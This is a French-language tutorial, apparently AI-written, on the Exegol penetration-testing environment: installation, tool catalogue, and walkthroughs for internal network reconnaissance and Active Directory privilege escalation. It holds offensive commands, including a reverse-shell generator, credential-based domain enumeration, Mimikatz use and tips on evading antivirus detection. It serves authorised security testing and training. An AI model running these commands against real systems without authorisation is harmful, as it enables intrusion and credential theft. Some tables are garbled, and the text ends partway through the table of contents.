

Guide complet d'Exegol pour les professionnels et débutants en cybersécurité

Auteur : Manus IA

Date : 12 juin 2025

Licence : CC BY-SA 4.0

Table des matières


1. [Introduction à Exegol](#)
2. [Objectifs du framework](#)
3. [Différences vs Kali, Parrot, Docker nu](#)
4. [Pré-requis](#)
5. [Matériel minimal](#)
6. [OS pris en charge](#)
7. [Installation de Docker & Git](#)
8. [Installation d'Exegol](#)
9. [Clone du dépôt](#)
10. [Construction des images](#)
11. [Paramètres facultatifs](#)
12. [Premiers pas](#)
13. [Lancer un conteneur interactif](#)
14. [Structure des dossiers partagés](#)
15. [Personnalisation du prompt ZSH](#)
16. [Outils intégrés clés](#)
17. [Nmap, Impacket, BloodHound, Metasploit...](#)
18. [Commandes d'invocation rapides](#)
19. [Cas d'usage étape par étape](#)
20. [Reconnaissance réseau interne](#)
21. [Escalade de privilèges Active Directory](#)
22. [Pivoting & tunneling](#)
23. [Intégration CI/CD & GitHub Actions](#)
24. [Automatiser des scans Exegol](#)
25. [Personnalisation avancée](#)
26. [Ajout de nouveaux outils via Dockerfile.local](#)

27. [Gestion des modules Python](#)
28. [Dépannage & FAQ](#)
29. [Problèmes courants](#)
30. [Solutions rapides](#)
31. [Bonnes pratiques et conformité](#)
 - [Aspects légaux](#)
 - [Journaux, anonymisation, divulgation responsable](#)
32. [Conclusion](#)
33. [Glossaire](#)
34. [Bibliographie & liens utiles](#)
35. [Index analytique](#)

Avant-propos

Ce guide a été conçu pour aider les professionnels et les débutants en cybersécurité à maîtriser Exegol, un environnement complet dédié à la sécurité offensive. Avant de commencer, il est important de rappeler quelques points essentiels :

Contexte légal et éthique

 **Attention** : Les tests d'intrusion et l'utilisation d'outils de sécurité offensive doivent toujours être réalisés dans un cadre légal et éthique. En France, la loi 2004-575 du 21 juin 2004 pour la confiance dans l'économie numérique encadre ces activités.

Avant d'utiliser Exegol ou tout autre outil de sécurité offensive, assurez-vous de : -
Disposer d'une **autorisation écrite explicite** du propriétaire du système ciblé -
Respecter le **périmètre défini** dans cette autorisation - Ne pas extraire ou conserver de **données personnelles** non nécessaires - Suivre une **méthodologie documentée** et produire des rapports détaillés - Respecter les obligations du **RGPD** concernant les données personnelles

Publics visés

Ce guide s'adresse à plusieurs profils : - **Professionnels de la cybersécurité** : pentesteurs, auditeurs, red teamers - **Administrateurs systèmes et réseaux** souhaitant évaluer la sécurité de leurs infrastructures - **Étudiants et débutants** en sécurité informatique - **Formateurs** en cybersécurité

Quel que soit votre niveau, vous trouverez dans ce guide des informations adaptées à vos besoins, des concepts fondamentaux aux techniques avancées.

Introduction à Exegol

Objectifs du framework

Exegol est un environnement complet de cybersécurité conçu par des experts en sécurité offensive, pour la communauté des hackers éthiques. Il répond aux problèmes courants des distributions de sécurité traditionnelles en fournissant une boîte à outils modulaire et fiable, spécialement conçue pour le terrain.

Avez-vous déjà : - Lutté pour maintenir votre distribution en bon état de fonctionnement après quelques mois ? - Perdu des heures à installer et configurer des outils au lieu de faire du vrai travail de sécurité ? - Été limité par des outils obsolètes ou insuffisants dans les distributions de sécurité traditionnelles ? - Été frustré et limité par la conception monolithique d'autres solutions ?

Exegol répond à ces défis en proposant une solution basée sur Docker qui offre légèreté, portabilité, évolutivité et isolation.

Logo Exegol Logo officiel d'Exegol - Un environnement professionnel pour le hacking éthique

Différences vs Kali, Parrot, Docker nu

Contrairement aux distributions comme Kali Linux ou Parrot OS qui sont des systèmes d'exploitation complets, Exegol utilise Docker pour créer des environnements conteneurisés. Cette approche présente plusieurs avantages :

Caractéristique	Exegol	Kali/Parrot	Docker nu
Légèreté	✓ Conteneurs légers	✗ VM complète	✓ Conteneurs légers
Isolation	✓ Parfaite	✓ Bonne	✓ Parfaite
Outils préconfigurés	✓ Nombreux	✓ Nombreux	✗ À installer
Facilité de déploiement	✓ Simple	⚠ Moyenne	⚠ Technique
Personnalisation	✓ Facile	⚠ Possible mais complexe	✓ Totale mais manuelle
	✓ Intégré	✗ Manuel	✗ Manuel

Caractéristique	Exegol	Kali/Parrot	Docker nu
Partage de ressources			
Multi-architecture	✅ Oui	⚠️ Limitée	✅ Oui

Exegol combine le meilleur des deux mondes : la richesse en outils des distributions spécialisées et la flexibilité des conteneurs Docker, tout en ajoutant une couche de gestion simplifiée via son wrapper Python.

Composants principaux

Exegol combine plusieurs composants clés qui fonctionnent ensemble :

- **Images Docker** : environnements préconfigurés avec des outils soigneusement sélectionnés
- **Wrapper Python** : une interface unifiée pour gérer facilement tous les composants d'Exegol, similaire à la gestion de machines virtuelles, mais avec une interface en ligne de commande simple
- **Ressources hors ligne** : collection organisée d'outils que vous pourriez avoir besoin d'utiliser sur une machine cible (par exemple, des scripts d'énumération et d'exploitation comme LinPEAS, WinPEAS, LinEnum, PrivescCheck, SysinternalsSuite, etc.). Ils sont mis à jour mensuellement, gérés par le wrapper, et partagés avec chaque conteneur (dans `/opt/resources`)
- **Historique et identifiants** : un utilitaire pour gérer les identifiants obtenus lors d'un engagement, et un historique dynamique de centaines de commandes prêtes à être utilisées


Pré-requis

Avant d'installer Exegol, assurez-vous que votre système répond aux exigences minimales et que vous disposez des logiciels nécessaires.

Matériel minimal

Exegol étant basé sur Docker, ses exigences matérielles sont relativement modestes comparées à celles d'une machine virtuelle complète. Voici les spécifications minimales recommandées :

Composant	Minimum	Recommandé
Processeur	2 cœurs	4+ cœurs
RAM	4 Go	8+ Go
Espace disque	20 Go	50+ Go
Connexion Internet	Requise pour l'installation	Requise pour l'installation


 **Astuce** : L'espace disque requis dépend des images Exegol que vous allez installer. L'image "full" occupe environ 30 Go une fois décompressée, tandis que les images plus légères comme "light" ou "web" occupent moins d'espace.

OS pris en charge

L'un des grands avantages d'Exegol est sa compatibilité multi-plateforme. Il fonctionne sur :

- **Linux** : Toutes les distributions majeures (Ubuntu, Debian, Fedora, CentOS, Arch...)
- **macOS** : macOS 10.15 (Catalina) et versions ultérieures
- **Windows** : Windows 10/11 avec WSL2 recommandé

Systèmes supportés par Exegol Exegol est compatible avec les principaux systèmes d'exploitation et architectures

 **Attention** : Bien qu'Exegol fonctionne sur tous ces systèmes, certaines fonctionnalités avancées comme le mode réseau "host" ne sont pas disponibles sur Windows et macOS en raison des limitations de Docker Desktop. Pour une expérience optimale, une distribution Linux est recommandée.

Installation de Docker & Git

Avant d'installer Exegol, vous devez disposer de Docker et Git sur votre système.

Installation de Docker

Docker est l'élément fondamental sur lequel repose Exegol. Voici comment l'installer sur les différentes plateformes :

Linux (Ubuntu/Debian) :

```
# Mise à jour des paquets
sudo apt update
```

```
# Installation des dépendances
sudo apt install -y apt-transport-https ca-certificates curl
software-properties-common

# Ajout de la clé GPG officielle de Docker
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo
apt-key add -

# Ajout du dépôt Docker
sudo add-apt-repository "deb [arch=amd64] https://
download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

# Mise à jour des paquets et installation de Docker
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io

# Ajout de l'utilisateur courant au groupe docker (évite
d'utiliser sudo)
sudo usermod -aG docker $USER

# Activation du service Docker
sudo systemctl enable docker
sudo systemctl start docker
```



Astuce : Après avoir ajouté votre utilisateur au groupe docker, vous devrez vous déconnecter et vous reconnecter pour que les changements prennent effet.

macOS :

Sur macOS, vous avez deux options principales :

1. **Docker Desktop** : Solution officielle avec interface graphique
2. Téléchargez et installez Docker Desktop depuis [le site officiel](#)
3. **OrbStack** (recommandé) : Alternative plus légère et plus performante
4. Téléchargez et installez OrbStack depuis [le site officiel](#)

Windows :

Sur Windows, l'installation recommandée passe par Docker Desktop avec WSL2 :

1. Installez WSL2 en exécutant dans PowerShell en tant qu'administrateur :
`powershell wsl --install`
2. Téléchargez et installez Docker Desktop depuis [le site officiel](#)

3. Lors de l'installation, assurez-vous que l'option "Use WSL 2 instead of Hyper-V" est cochée

Installation de Git

Git est nécessaire pour cloner le dépôt Exegol. Voici comment l'installer :

Linux (Ubuntu/Debian) :

```
sudo apt update  
sudo apt install -y git
```

macOS :

```
# Via Homebrew (recommandé)  
brew install git  
  
# Ou téléchargez l'installateur depuis https://git-scm.com/download/mac
```

Windows :

1. Téléchargez et installez Git depuis [le site officiel](#)
2. Lors de l'installation, conservez les options par défaut

Installation de Python

Exegol nécessite Python 3.8 ou supérieur pour son wrapper. Voici comment l'installer :

Linux (Ubuntu/Debian) :

```
sudo apt update  
sudo apt install -y python3 python3-pip
```

macOS :

```
# Via Homebrew (recommandé)  
brew install python  
  
# Vérifiez la version  
python3 --version
```

Windows :

1. Téléchargez et installez Python depuis [le site officiel](#)
2. Lors de l'installation, cochez la case "Add Python to PATH"

💡 **Astuce** : Pour vérifier que tout est correctement installé, ouvrez un terminal et exécutez les commandes suivantes : `bash docker --version git --version python3 --version` Chacune devrait retourner un numéro de version sans erreur.

Installation d'Exegol

Une fois les prérequis satisfaits, vous pouvez procéder à l'installation d'Exegol. Le processus est similaire sur toutes les plateformes grâce à l'utilisation de Docker et du wrapper Python.

Clone du dépôt

La première étape consiste à cloner le dépôt GitHub d'Exegol :

```
# Créez un dossier pour Exegol (optionnel)
mkdir -p ~/tools
cd ~/tools

# Clonez le dépôt
git clone https://github.com/ThePorgs/Exegol.git

# Accédez au dossier
cd Exegol
```

Clone du dépôt Exegol Clonage du dépôt Exegol et démarrage d'un conteneur

Installation du wrapper

Le wrapper Python est l'interface qui vous permettra de gérer facilement les conteneurs et les images Exegol. Pour l'installer :

```
# Installation via pip (méthode recommandée)
pip3 install exegol

# Vérification de l'installation
exegol --version
```

Alternativement, vous pouvez installer le wrapper directement depuis le dépôt cloné :


```
# Depuis le dossier Exegol cloné
pip3 install -e .

# Vérification de l'installation
exegol --version
```



Astuce : L'installation via pip est recommandée car elle permet de bénéficier des mises à jour plus facilement.

Construction des images

Exegol propose plusieurs images Docker préconfigurées pour différents cas d'usage. Voici les principales :

Image	Taille	Description
full	~30 Go	Image complète avec tous les outils
nightly	~15 Go	Version de développement avec les dernières mises à jour
light	~5 Go	Version légère avec les outils essentiels
web	~7 Go	Spécialisée pour les tests d'applications web
ad	~10 Go	Spécialisée pour les tests Active Directory
osint	~4 Go	Spécialisée pour l'OSINT

Pour installer une image, utilisez la commande suivante :

```
# Syntaxe : exegol install [nom_de_l'image]
exegol install full

# Pour installer l'image légère
exegol install light
```

Installation d'une image Exegol Liste des images disponibles dans Exegol

⚠ Attention : Le téléchargement et l'installation des images peuvent prendre un certain temps en fonction de votre connexion Internet et des performances de votre machine. L'image "full" en particulier est volumineuse.

Paramètres facultatifs

Lors de l'installation, vous pouvez utiliser plusieurs options pour personnaliser le comportement d'Exegol :

```
# Installation en mode verbose pour plus de détails
exegol install full -v

# Installation en mode offline (si vous avez déjà téléchargé
l'image)
exegol install full --offline

# Installation avec une architecture spécifique
exegol install full --arch amd64

# Aide complète sur la commande install
exegol install --help
```



Astuce : Si vous avez des problèmes de connexion ou un débit limité, vous pouvez télécharger l'image séparément et utiliser l'option `--offline` pour l'installer.

Une fois l'installation terminée, vous êtes prêt à utiliser Exegol pour vos tests de pénétration et autres activités de sécurité offensive.

Premiers pas

Une fois Exegol installé, vous êtes prêt à commencer à l'utiliser. Cette section vous guidera à travers les premières étapes pour démarrer et utiliser efficacement Exegol.

Lancer un conteneur interactif

Pour démarrer un conteneur Exegol, utilisez la commande `start` :

```
# Syntaxe de base
exegol start [nom_du_conteneur] [nom_de_l'image]

# Exemple : démarrer un conteneur nommé "mon-projet" avec
l'image "full"
exegol start mon-projet full
```

Si vous ne spécifiez pas de nom de conteneur ou d'image, Exegol vous proposera des options interactives :

```
# Démarrer un conteneur sans spécifier de nom ou d'image
exegol start
```

Démarrage d'un conteneur Exegol Démarrage d'un conteneur Exegol avec l'option --privileged

Options de démarrage courantes

Voici quelques options utiles lors du démarrage d'un conteneur :

```
# Démarrer en mode privilégié (accès complet aux périphériques
hôte)
exegol start mon-projet full --privileged

# Démarrer avec une interface graphique (GUI)
exegol start mon-projet full --X

# Démarrer avec un partage réseau en mode hôte (Linux
uniquement)
exegol start mon-projet full --host-network

# Démarrer avec un volume personnalisé
exegol start mon-projet full --volume /chemin/local:/chemin/
conteneur

# Démarrer avec un port spécifique exposé
exegol start mon-projet full --port 8080:80
```



Astuce : Le mode privilégié (--privileged) est souvent nécessaire pour les tests qui impliquent des manipulations réseau avancées ou l'utilisation de périphériques spécifiques comme des adaptateurs WiFi.



Attention : Le mode privilégié donne au conteneur un accès complet à l'hôte, ce qui peut présenter des risques de sécurité. N'utilisez cette option que lorsque c'est nécessaire et dans un environnement de confiance.

Structure des dossiers partagés


Exegol configure automatiquement plusieurs dossiers partagés entre l'hôte et le conteneur pour faciliter le transfert de fichiers et la persistance des données :

Dossier dans le conteneur	Dossier sur l'hôte	Description
/workspace	~/.exegol/workspaces/[nom_du_conteneur]	Espace de travail principal
/opt/resources	~/.exegol/resources	Ressources partagées entre tous les conteneurs
/opt/my-resources	~/.exegol/my-resources	Vos ressources personnelles

Ces dossiers partagés permettent de : - Conserver vos données même après la suppression du conteneur - Partager facilement des fichiers entre l'hôte et le conteneur - Réutiliser des outils et scripts personnalisés dans différents conteneurs

```
# Exemple : accéder à votre espace de travail depuis l'hôte
cd ~/.exegol/workspaces/mon-projet

# Exemple : copier un fichier depuis l'hôte vers le conteneur
cp rapport.txt ~/.exegol/workspaces/mon-projet/
```

 **Astuce** : Organisez votre espace de travail par projet ou par client pour garder vos données bien structurées.

Personnalisation du prompt ZSH

Exegol utilise ZSH comme shell par défaut avec une configuration Oh-My-ZSH personnalisée. Le prompt est conçu pour être informatif et fonctionnel, affichant :

- Le nom du conteneur
- Le répertoire courant
- L'état Git (si applicable)
- Des indicateurs visuels pour les privilèges élevés

Vous pouvez personnaliser ce prompt en modifiant les fichiers de configuration ZSH dans votre dossier `my-resources` :

```
# Créer ou modifier votre fichier .zshrc personnalisé
nano ~/.exegol/my-resources/.zshrc

# Exemple d'ajout d'un alias personnalisé
echo "alias ll='ls -la'" >> ~/.exegol/my-resources/.zshrc
```

Commandes de base d'Exegol

Voici un résumé des commandes principales du wrapper Exegol :

Commande	Description	Exemple
<code>start</code>	Démarrer un conteneur	<code>exegol start mon-projet full</code>
<code>stop</code>	Arrêter un conteneur	<code>exegol stop mon-projet</code>
<code>restart</code>	Redémarrer un conteneur	<code>exegol restart mon-projet</code>
<code>info</code>	Afficher les informations	<code>exegol info</code>
<code>install</code>	Installer une image	<code>exegol install full</code>
<code>update</code>	Mettre à jour une image	<code>exegol update full</code>
<code>uninstall</code>	Désinstaller une image	<code>exegol uninstall full</code>
<code>remove</code>	Supprimer un conteneur	<code>exegol remove mon-projet</code>
<code>exec</code>	Exécuter une commande	<code>exegol exec mon-projet nmap -sV 192.168.1.1</code>

Pour obtenir de l'aide sur une commande spécifique :

```
# Aide générale
```

```
exegol --help
```

```
# Aide sur une commande spécifique
```


```
exegol start --help
```

Navigation dans l'environnement Exegol

Une fois connecté à un conteneur Exegol, vous vous retrouvez dans un environnement Linux complet avec de nombreux outils préinstallés. Voici quelques points de repère :

- `/workspace` : Votre répertoire de travail principal
- `/opt/resources` : Outils et scripts partagés
- `/opt/my-resources` : Vos outils et configurations personnels
- `/opt/tools` : Outils installés par Exegol

La plupart des outils sont accessibles directement depuis le terminal grâce à la configuration du PATH. Par exemple, vous pouvez simplement taper `nmap` ou `metasploit` pour lancer ces outils.

 **Astuce** : Utilisez la complétion de commande en appuyant sur la touche Tab pour découvrir les outils disponibles et leurs options.


Gestion des sessions

Exegol utilise tmux pour la gestion des sessions de terminal, ce qui vous permet de :

- Exécuter plusieurs terminaux dans une seule fenêtre
- Détacher et rattacher des sessions (utile pour les connexions SSH)
- Diviser l'écran horizontalement ou verticalement

Voici quelques commandes tmux essentielles :

Raccourci	Action
<code>Ctrl+b c</code>	Créer un nouvel onglet
<code>Ctrl+b n</code>	Aller à l'onglet suivant
<code>Ctrl+b p</code>	Aller à l'onglet précédent
<code>Ctrl+b %</code>	Diviser verticalement
<code>Ctrl+b "</code>	Diviser horizontalement
<code>Ctrl+b flèches</code>	Naviguer entre les panneaux
<code>Ctrl+b d</code>	Détacher la session
<code>tmux attach</code>	Rattacher la dernière session

 **Astuce** : Tmux est particulièrement utile lors de tests de longue durée ou lorsque vous travaillez sur plusieurs tâches simultanément.

Utilisation de l'interface graphique


Si vous avez démarré Exegol avec l'option `--X`, vous pouvez exécuter des applications graphiques. Par exemple :

```
# Lancer Firefox
firefox &

# Lancer Burp Suite
burpsuite &

# Lancer Wireshark
wireshark &
```

L'interface graphique utilise X11 forwarding pour afficher les applications sur votre système hôte. Sur Windows et macOS, vous devrez installer un serveur X11 comme XQuartz (macOS) ou VcXsrv (Windows).

 **Attention** : Les performances graphiques peuvent être limitées, surtout sur des connexions réseau lentes ou lors de l'utilisation de WSL2 sur Windows.

Outils intégrés clés

L'un des principaux avantages d'Exegol est sa collection complète d'outils de sécurité offensive préinstallés et préconfigurés. Cette section présente les outils les plus importants disponibles dans Exegol, organisés par catégorie.

Nmap, Impacket, BloodHound, Metasploit...

Reconnaissance et découverte

Outil	Description	Commande de base
Nmap	Scanner de ports et de services	<code>nmap -sV -sC <cible></code>
Masscan	Scanner de ports à haute vitesse	<code>masscan -p1-65535 <cible> --rate=1000</code>
Amass	Énumération de sous-domaines	<code>amass enum -d <domaine></code>

Outil	Description	Commande de base
Subfinder	Découverte de sous-domaines	<code>subfinder -d <domaine></code>
Nuclei	Scanner de vulnérabilités basé sur des templates	<code>nuclei -u <url></code>



Astuce : Combinez ces outils pour une reconnaissance complète. Par exemple, utilisez Amass pour découvrir des sous-domaines, puis Nmap pour scanner les services sur ces sous-domaines.

Tests d'applications Web


Outil	Description	Commande de base
Burp Suite	Proxy d'interception et suite de test web	<code>burpsuite</code>
OWASP ZAP	Alternative open source à Burp Suite	<code>zaproxy</code>
Nikto	Scanner de vulnérabilités web	<code>nikto -h <url></code>
SQLmap	Outil d'exploitation de vulnérabilités SQL injection	<code>sqlmap -u <url></code>
Wfuzz	Fuzzer web	<code>wfuzz -c -z file,/path/to/wordlist <url>/FUZZ</code>
Ffuf	Fuzzer web rapide	<code>ffuf -w /path/to/wordlist -u <url>/FUZZ</code>

Interface de Burp Suite Interface de Burp Suite, un outil essentiel pour les tests d'applications web

Active Directory et Windows


Outil	Description	Commande de base
Impacket	Collection d'outils pour les protocoles Windows	<code>impacket-<outil></code>
BloodHound	Cartographie des relations Active Directory	

Outil	Description	Commande de base
		<code>bloodhound-python -d <domain> -u <utilisateur> -p <mot_de_passe></code>
CrackMapExec	Suite d'outils pour l'énumération et l'exploitation	<code>crackmapexec <protocole> <cible></code>
Rubeus	Outil d'attaque Kerberos	<code>rubeus.exe</code> (via mono)
Mimikatz	Extraction de mots de passe et hashes	<code>mimikatz.exe</code> (via wine)

 **Attention** : Les outils comme Mimikatz et Rubeus sont souvent détectés par les antivirus. Dans un environnement réel, vous devrez peut-être utiliser des techniques d'évasion ou des versions modifiées.

Exploitation

Outil	Description	Commande de base
Metasploit	Framework d'exploitation	<code>msfconsole</code>
Searchsploit	Recherche d'exploits dans Exploit-DB	<code>searchsploit <terme></code>
Empire	Framework de post-exploitation	<code>empire</code>
Sliver	Framework C2 moderne	<code>sliver</code>
Havoc	Framework C2 avancé	<code>havoc</code>

 **Astuce** : Metasploit est un excellent point de départ pour l'exploitation, mais dans des environnements réels, des frameworks C2 plus modernes comme Sliver ou Havoc peuvent être plus efficaces pour éviter la détection.

Analyse de vulnérabilités

Outil	Description	Commande de base
OpenVAS	Scanner de vulnérabilités	Via l'interface web
Nessus	Scanner de vulnérabilités commercial	

Outil	Description	Commande de base
		Via l'interface web (nécessite une licence)
Nuclei	Scanner basé sur des templates	<code>nuclei -t <template> -u <url></code>
Vulmap	Scanner de vulnérabilités pour applications web	<code>vulmap -u <url></code>

Cracking et brute force

Outil	Description	Commande de base
Hashcat	Cracking de hashes ultra-rapide	<code>hashcat -m <mode> <hash> <wordlist></code>
John the Ripper	Cracking de mots de passe polyvalent	<code>john --format=<format> <hash_file></code>
Hydra	Outil de brute force pour divers services	<code>hydra -l <user> -P <wordlist> <service>://<host></code>
Medusa	Outil de brute force parallèle	<code>medusa -h <host> -u <user> -P <wordlist> -M <module></code>

Analyse de code et rétro-ingénierie

Outil	Description	Commande de base
Ghidra	Suite de rétro-ingénierie	<code>ghidra</code>
Radare2	Framework d'analyse binaire	<code>r2 <binaire></code>
GDB	Débogueur GNU	<code>gdb <binaire></code>
JADX	Décompilateur Android	<code>jadx-gui</code>

OSINT et reconnaissance passive

Outil	Description	Commande de base
TheHarvester	Collecte d'informations	

Outil	Description	Commande de base
		<code>theHarvester -d <domain> -b all</code>
Sherlock	Recherche de noms d'utilisateur	<code>sherlock <username></code>
Maltego	Analyse de liens et visualisation	<code>maltego</code>
Spiderfoot	Automatisation OSINT	Via l'interface web

Commandes d'invocation rapides

Exegol inclut de nombreux alias et scripts pour faciliter l'utilisation des outils. Voici quelques exemples :

Alias utiles

```
# Nmap
nmapSV="nmap -sV -sC" # Scan de version avec scripts par défaut
nmapAll="nmap -p- -sV" # Scan de tous les ports avec détection de version

# CrackMapExec
cme="crackmapexec" # Raccourci pour CrackMapExec

# BloodHound
bh="bloodhound" # Raccourci pour BloodHound

# Metasploit
msf="msfconsole" # Raccourci pour Metasploit Console
```

Scripts intégrés

Exegol inclut également des scripts personnalisés pour automatiser certaines tâches courantes :

```
# Scan réseau rapide
exegol-scan-network 192.168.1.0/24

# Énumération SMB
exegol-enum-smb 192.168.1.10
```

```
# Génération de reverse shell
exegol-revshell 192.168.1.100 4444
```



Astuce : Pour découvrir tous les alias disponibles, consultez le fichier `~/.zshrc` ou tapez `alias` dans le terminal.

Organisation des outils

Les outils dans Exegol sont organisés de manière logique pour faciliter leur utilisation :

- `/opt/tools/` : Répertoire principal contenant la plupart des outils
- `/usr/share/` : Outils installés via les gestionnaires de paquets
- `/opt/resources/` : Scripts et outils partagés entre les conteneurs
- `/opt/my-resources/` : Vos outils et scripts personnels

Pour trouver un outil spécifique, vous pouvez utiliser la commande `which` :

```
# Trouver l'emplacement d'un outil
which nmap

# Rechercher un outil par nom
find /opt -name "*blood*" -type f -executable
```

Mise à jour des outils

Les outils dans Exegol sont régulièrement mis à jour. Pour obtenir les dernières versions :

```
# Mettre à jour l'image Exegol
exegol update full

# Mettre à jour les ressources partagées
exegol update resources
```

Pour les outils Python, vous pouvez souvent les mettre à jour directement :

```
# Mettre à jour un outil Python
pip3 install --upgrade impacket

# Mettre à jour un outil depuis GitHub
cd /opt/tools/tool-name && git pull
```

⚠ Attention : La mise à jour manuelle des outils peut parfois causer des problèmes de dépendances. Il est généralement préférable de mettre à jour l'image Exegol complète.

Intégration des outils

L'un des grands avantages d'Exegol est l'intégration fluide entre les différents outils. Par exemple :

1. Utilisez **Nmap** pour découvrir des services
2. Exportez les résultats pour **Metasploit**
3. Exploitez une vulnérabilité avec **Metasploit**
4. Utilisez **Mimikatz** pour extraire des identifiants
5. Utilisez ces identifiants avec **CrackMapExec** pour le mouvement latéral
6. Visualisez le réseau Active Directory avec **BloodHound**

Cette intégration permet de créer des workflows efficaces pour vos tests de pénétration.

Cas d'usage étape par étape

Cette section présente des scénarios pratiques d'utilisation d'Exegol pour différents types de tests de pénétration. Chaque cas d'usage est détaillé étape par étape pour vous permettre de suivre et de reproduire les techniques présentées.

Reconnaissance réseau interne

Ce premier cas d'usage illustre comment utiliser Exegol pour effectuer une reconnaissance complète d'un réseau interne, une étape essentielle de tout test de pénétration.

Objectif

Découvrir et cartographier un réseau interne, identifier les hôtes actifs, les services en cours d'exécution et les vulnérabilités potentielles.

Prérequis

- Accès au réseau cible (physique ou VPN)
- Conteneur Exegol démarré avec l'option `--privileged` pour l'accès réseau complet
- Image "full" ou "light" d'Exegol

Étape 1 : Démarrer un conteneur Exegol avec accès réseau

```
# Démarrer un conteneur avec accès réseau complet
exegol start recon-interne full --privileged --host-network
```



Astuce : L'option `--host-network` permet au conteneur d'accéder directement au réseau de l'hôte, ce qui est essentiel pour la reconnaissance réseau. Cette option n'est disponible que sous Linux.

Étape 2 : Identifier l'interface réseau et l'adresse IP

```
# Afficher les interfaces réseau
ip a

# Identifier le réseau cible
ip route
```

Exemple de sortie :

```
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state
UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc
fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:b5:72:a1 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.50/24 brd 192.168.1.255 scope global dynamic
noprefixroute eth0
    valid_lft 86390sec preferred_lft 86390sec
```

Dans cet exemple, l'interface est `eth0` et le réseau cible est `192.168.1.0/24`.

Étape 3 : Découverte des hôtes actifs

```
# Scan ARP rapide pour découvrir les hôtes actifs
sudo arp-scan --interface=eth0 192.168.1.0/24

# Alternative avec Nmap
sudo nmap -sn 192.168.1.0/24 -oN hosts.txt
```

Exemple de sortie :


```
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b5:72:a1, IPv4:
192.168.1.50
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1      e4:5f:01:f2:8e:17      (Unknown)
192.168.1.10     00:0c:29:af:da:5c      VMware, Inc.
192.168.1.20     00:50:56:c0:00:08      VMware, Inc.
```

```
192.168.1.100    00:0c:29:2f:3a:9e    VMware, Inc.  
192.168.1.254    e8:94:f6:4a:55:3c    (Unknown)
```

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned **in** 1.673 seconds
(152.96 hosts/sec)

Étape 4 : Scan de ports et de services

```
# Créer un fichier avec les hôtes découverts  
grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' hosts.txt > ips.txt  
  
# Scan de ports rapide sur les hôtes découverts  
sudo nmap -sS -sV -p- --min-rate=1000 -iL ips.txt -oA  
scan_complet  
  
# Scan ciblé avec scripts par défaut  
sudo nmap -sV -sC -p$(grep -oE '[0-9]+/open' scan_complet.gnmap  
| cut -d '/' -f1 | sort -u | tr '\n' ',') -iL ips.txt -oA  
scan_detaillé
```

 **Astuce :** La combinaison de ces commandes permet d'abord un scan rapide de tous les ports, puis un scan plus détaillé uniquement sur les ports ouverts, ce qui optimise le temps d'exécution.

Étape 5 : Énumération des services découverts

Pour chaque service découvert, utilisez des outils spécifiques pour l'énumération :

Pour SMB (port 445) :

```
# Énumération SMB avec CrackMapExec  
crackmapexec smb 192.168.1.0/24 --shares  
  
# Énumération plus détaillée avec enum4linux  
enum4linux -a 192.168.1.100
```

Pour HTTP/HTTPS (ports 80/443) :

```
# Scan de vulnérabilités web avec Nikto  
nikto -h http://192.168.1.100  
  
# Énumération des répertoires avec Gobuster  
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/  
dirb/common.txt
```

Pour MSSQL (port 1433) :

```
# Énumération MSSQL avec CrackMapExec  
crackmapexec mssql 192.168.1.100
```

Étape 6 : Analyse des vulnérabilités

```
# Scan de vulnérabilités avec Nmap  
sudo nmap --script vuln -p$(grep -oE '[0-9]+/open'  
scan_complet.gnmap | cut -d '/' -f1 | sort -u | tr '\n' ',') -iL  
ips.txt -oA vulnerabilites  
  
# Scan avec Nuclei  
nuclei -l ips.txt -o nuclei_results.txt
```

Étape 7 : Génération de rapport

```
# Convertir les résultats Nmap en HTML  
xsltproc -o rapport_nmap.html /usr/share/nmap/nmap.xsl  
scan_detaillée.xml  
  
# Créer un rapport de synthèse  
echo "# Rapport de reconnaissance réseau" > rapport.md  
echo "## Hôtes découverts" >> rapport.md  
cat hosts.txt >> rapport.md  
echo "## Services détectés" >> rapport.md  
grep -A 10 "PORT" scan_detaillée.nmap >> rapport.md  
echo "## Vulnérabilités potentielles" >> rapport.md  
grep -A 5 "VULNERABLE" vulnerabilites.nmap >> rapport.md  
  
# Convertir en PDF  
pandoc rapport.md -o rapport.pdf
```

Escalade de privilèges Active Directory

Ce cas d'usage illustre comment utiliser Exegol pour exploiter des vulnérabilités courantes dans un environnement Active Directory afin d'obtenir des privilèges élevés.

Objectif

Partir d'un accès initial limité et escalader les privilèges jusqu'à obtenir les droits d'administrateur de domaine.

Prérequis

- Accès initial au réseau (identifiants de bas niveau ou shell)
- Conteneur Exegol avec l'image "full" ou "ad"
- Connexion au réseau cible

Étape 1 : Démarrer un conteneur Exegol

```
# Démarrer un conteneur pour les tests Active Directory
exegol start ad-pentest ad --privileged
```

Étape 2 : Énumération initiale avec les identifiants obtenus

Supposons que nous avons obtenu les identifiants d'un utilisateur standard :

```
utilisateur:Password123
```

```
# Énumération SMB avec CrackMapExec
crackmapexec smb 192.168.1.0/24 -u utilisateur -p 'Password123'
--shares

# Énumération des utilisateurs du domaine
crackmapexec smb 192.168.1.100 -u utilisateur -p 'Password123'
--users

# Énumération des groupes du domaine
crackmapexec smb 192.168.1.100 -u utilisateur -p 'Password123'
--groups
```

Étape 3 : Collecte d'informations avec BloodHound

```
# Collecte de données avec BloodHound-Python
bloodhound-python -d entreprise.local -u utilisateur -p
'Password123' -ns 192.168.1.100 -c All

# Démarrer Neo4j (requis pour BloodHound)
sudo neo4j start

# Démarrer BloodHound
bloodhound
```

Dans l'interface BloodHound : 1. Connectez-vous avec les identifiants par défaut (neo4j:neo4j) 2. Importez les fichiers JSON générés par bloodhound-python 3. Utilisez les requêtes prédéfinies pour identifier les chemins d'attaque potentiels

Interface de BloodHound Interface de BloodHound montrant les relations dans Active Directory

